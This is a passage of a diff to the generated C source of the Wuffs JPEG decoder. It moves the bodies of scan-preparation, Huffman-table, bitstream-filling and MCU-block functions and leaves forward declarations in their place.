wuffs_jpeg__decoder__fill_bitstream(self, a_src); +- v_my = 0u; +- while (v_my < self->private_impl.f_scan_height_in_mcus) { +- v_mx = 0u; +- while (v_mx < self->private_impl.f_scan_width_in_mcus) { +- self->private_impl.f_mcu_current_block = 0u; +- self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); +- } +- while (true) { +- v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, a_workbuf, v_mx, v_my); +- if (v_decode_mcu_result == 0u) { +- break; +- } else if (v_decode_mcu_result != 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); +- goto exit; +- } +- while (true) { +- v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); +- wuffs_jpeg__decoder__fill_bitstream(self, a_src); +- if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { +- break; +- } else if (self->private_impl.f_bitstream_padding == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { +- if (self->private_impl.f_bitstream_wi < 1024u) { +- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); +- self->private_impl.f_bitstream_wi += 264u; +- self->private_impl.f_bitstream_is_closed = true; +- } +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- } +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); +- } +- if (self->private_impl.f_restarts_remaining > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_restarts_remaining -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- if (self->private_impl.f_restarts_remaining == 0u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; +- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; +- self->private_impl.f_eob_run = 0u; +- self->private_impl.f_bitstream_bits = 0u; +- self->private_impl.f_bitstream_n_bits = 0u; +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- self->private_impl.f_bitstream_padding = 12345u; +- } +- } +- v_mx += 1u; +- } +- v_my += 1u; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dqt( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- ok: +- self->private_impl.p_decode_sos[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dri( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_sos[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_sos[0].v_my = v_my; +- self->private_data.s_decode_sos[0].v_mx = v_mx; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_appn( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint8_t a_marker); + +- goto exit; +- exit: +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sof( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +-// -------- func jpeg.decoder.prepare_scan ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__quantize_dimension( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_width, ++ uint8_t a_h, ++ uint8_t a_max_incl_h); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__prepare_scan( ++wuffs_jpeg__decoder__do_decode_frame_config( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_j_max_incl = 0; +- bool v_failed = false; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_prepare_scan[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_prepare_scan[0].v_i; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if ((v_c < 1u) || (v_c > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_num_components = ((uint32_t)(v_c)); +- if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_j = 0u; +- while (true) { +- if (v_j >= self->private_impl.f_num_components) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- if (v_c == self->private_impl.f_components_c[v_j]) { +- if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); +- goto exit; +- } +- self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); +- break; +- } +- v_j += 1u; +- } +- v_j = 0u; +- while (v_j < v_i) { +- if (self->private_impl.f_scan_comps_cselector[v_i] == self->private_impl.f_scan_comps_cselector[v_j]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- v_j += 1u; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; +- } +- if (((v_c >> 4u) > 3u) || ((v_c & 15u) > 3u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_comps_td[v_i] = (v_c >> 4u); +- self->private_impl.f_scan_comps_ta[v_i] = (v_c & 15u); +- if (self->private_impl.f_sof_marker == 192u) { +- if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } +- v_i += 1u; +- } +- if (self->private_impl.f_sof_marker < 194u) { +- self->private_data.s_prepare_scan[0].scratch = 3u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_prepare_scan[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_prepare_scan[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_prepare_scan[0].scratch; +- self->private_impl.f_scan_ss = 0u; +- self->private_impl.f_scan_se = 63u; +- self->private_impl.f_scan_ah = 0u; +- self->private_impl.f_scan_al = 0u; +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if (v_c > 63u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_ss = v_c; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if ((v_c > 63u) || (v_c < self->private_impl.f_scan_ss)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_se = v_c; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (((v_c >> 4u) > 14u) || ((v_c & 15u) > 13u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_ah = (v_c >> 4u); +- self->private_impl.f_scan_al = (v_c & 15u); +- if (self->private_impl.f_scan_ah > 0u) { +- if ((self->private_impl.f_scan_ah - 1u) != self->private_impl.f_scan_al) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } +- if (self->private_impl.f_scan_ss == 0u) { +- if (self->private_impl.f_scan_se != 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (self->private_impl.f_scan_ah == 0u) { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); +- } else { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); +- } +- } else { +- if (self->private_impl.f_scan_num_components != 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (self->private_impl.f_scan_ah == 0u) { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); +- } else { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); +- } +- } +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[(0u | self->private_impl.f_scan_comps_td[v_i])]) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (0u | self->private_impl.f_scan_comps_td[v_i])); +- if (status.repr) { +- goto suspend; +- } +- } +- if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[(4u | self->private_impl.f_scan_comps_ta[v_i])]) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (4u | self->private_impl.f_scan_comps_ta[v_i])); +- if (status.repr) { +- goto suspend; +- } +- } +- v_j = ((uint32_t)(self->private_impl.f_scan_ss)); +- v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); +- while (v_j <= v_j_max_incl) { +- self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; +- v_j += 1u; +- } +- v_i += 1u; +- } +- if (self->private_impl.f_scan_num_components == 1u) { +- wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); +- } else { +- v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); +- if (v_failed) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- goto ok; +- ok: +- self->private_impl.p_prepare_scan[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- goto suspend; +- suspend: +- self->private_impl.p_prepare_scan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_prepare_scan[0].v_i = v_i; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dht( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_huff_tables( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th, ++ uint32_t a_total_count); + +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sos( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + +-// -------- func jpeg.decoder.use_default_huffman_table ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__prepare_scan( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__use_default_huffman_table( + wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__slice_u8 v_data = {0}; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- if (a_tc4_th == 0u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); +- } else if (a_tc4_th == 1u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); +- } else if (a_tc4_th == 4u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); +- } else if (a_tc4_th == 5u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); +- goto exit; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- v_data, +- 0u); +- self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); +- { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); +- v_status = t_0; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- +- ok: +- goto exit; +- exit: +- return status; +-} +- +-// -------- func jpeg.decoder.calculate_single_component_scan_fields ++ uint8_t a_tc4_th); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__calculate_single_component_scan_fields( +- wuffs_jpeg__decoder* self) { +- uint8_t v_csel = 0; +- +- self->private_impl.f_scan_comps_bx_offset[0u] = 0u; +- self->private_impl.f_scan_comps_by_offset[0u] = 0u; +- self->private_impl.f_mcu_num_blocks = 1u; +- self->private_impl.f_mcu_blocks_sselector[0u] = 0u; +- v_csel = self->private_impl.f_scan_comps_cselector[0u]; +- self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; +- self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; +- self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); +- self->private_impl.f_mcu_blocks_dc_hselector[0u] = (0u | self->private_impl.f_scan_comps_td[0u]); +- self->private_impl.f_mcu_blocks_ac_hselector[0u] = (4u | self->private_impl.f_scan_comps_ta[0u]); +- self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); +- self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.calculate_multiple_component_scan_fields ++ wuffs_jpeg__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + static bool + wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( +- wuffs_jpeg__decoder* self) { +- uint32_t v_i = 0; +- uint32_t v_h = 0; +- uint32_t v_v = 0; +- uint32_t v_hv = 0; +- uint32_t v_total_hv = 0; +- uint32_t v_b = 0; +- uint32_t v_bx_offset = 0; +- uint32_t v_by_offset = 0; +- uint8_t v_ssel = 0; +- uint8_t v_csel = 0; +- +- v_total_hv = 0u; +- v_i = 0u; +- v_b = 0u; +- v_bx_offset = 0u; +- v_by_offset = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); +- v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); +- v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); +- v_total_hv += v_hv; +- while (v_hv > 0u) { +- self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); +- self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); +- self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); +- v_b += 1u; +- v_bx_offset += 1u; +- if (v_bx_offset == v_h) { +- v_bx_offset = 0u; +- v_by_offset += 1u; +- if (v_by_offset == v_v) { +- v_by_offset = 0u; +- } +- } +- v_hv -= 1u; +- } +- v_i += 1u; +- } +- if (v_total_hv > 10u) { +- return true; +- } +- self->private_impl.f_mcu_num_blocks = v_total_hv; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; +- v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; +- self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); +- self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); +- self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); +- self->private_impl.f_mcu_blocks_dc_hselector[v_b] = (0u | self->private_impl.f_scan_comps_td[v_ssel]); +- self->private_impl.f_mcu_blocks_ac_hselector[v_b] = (4u | self->private_impl.f_scan_comps_ta[v_ssel]); +- v_b += 1u; +- } +- self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; +- self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; +- return false; +-} +- +-// -------- func jpeg.decoder.fill_bitstream ++ wuffs_jpeg__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__fill_bitstream( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_wi = 0; +- uint8_t v_c = 0; +- uint32_t v_new_wi = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- if (self->private_impl.f_bitstream_ri <= 0u) { +- } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- } else { +- v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi)); +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = v_wi; +- } +- v_wi = self->private_impl.f_bitstream_wi; +- while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c < 255u) { +- self->private_data.f_bitstream_buffer[v_wi] = v_c; +- v_wi += 1u; +- iop_a_src += 1u; +- continue; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { +- break; +- } else if ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u) { +- break; +- } else { +- self->private_data.f_bitstream_buffer[v_wi] = 255u; +- v_wi += 1u; +- iop_a_src += 2u; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { +- if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u)) { +- v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); +- v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); +- if (v_wi < v_new_wi) { +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); +- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); +- v_wi = v_new_wi; +- } +- } +- } +- self->private_impl.f_bitstream_wi = v_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.load_mcu_blocks_for_single_component ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44752,9 +44689,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); +-} ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44763,19 +44698,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.load_mcu_blocks ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44783,34 +44706,7 @@ wuffs_jpeg__decoder__load_mcu_blocks( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_b = 0; +- uint8_t v_csel = 0; +- uint64_t v_h = 0; +- uint64_t v_v = 0; +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_h = 1u; +- v_v = 1u; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; +- if (self->private_impl.f_scan_num_components > 1u) { +- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); +- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); +- } +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_b += 1u; +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.save_mcu_blocks ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44818,4983 +44714,17911 @@ wuffs_jpeg__decoder__save_mcu_blocks( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_b = 0; +- uint8_t v_csel = 0; +- uint64_t v_h = 0; +- uint64_t v_v = 0; +- uint64_t 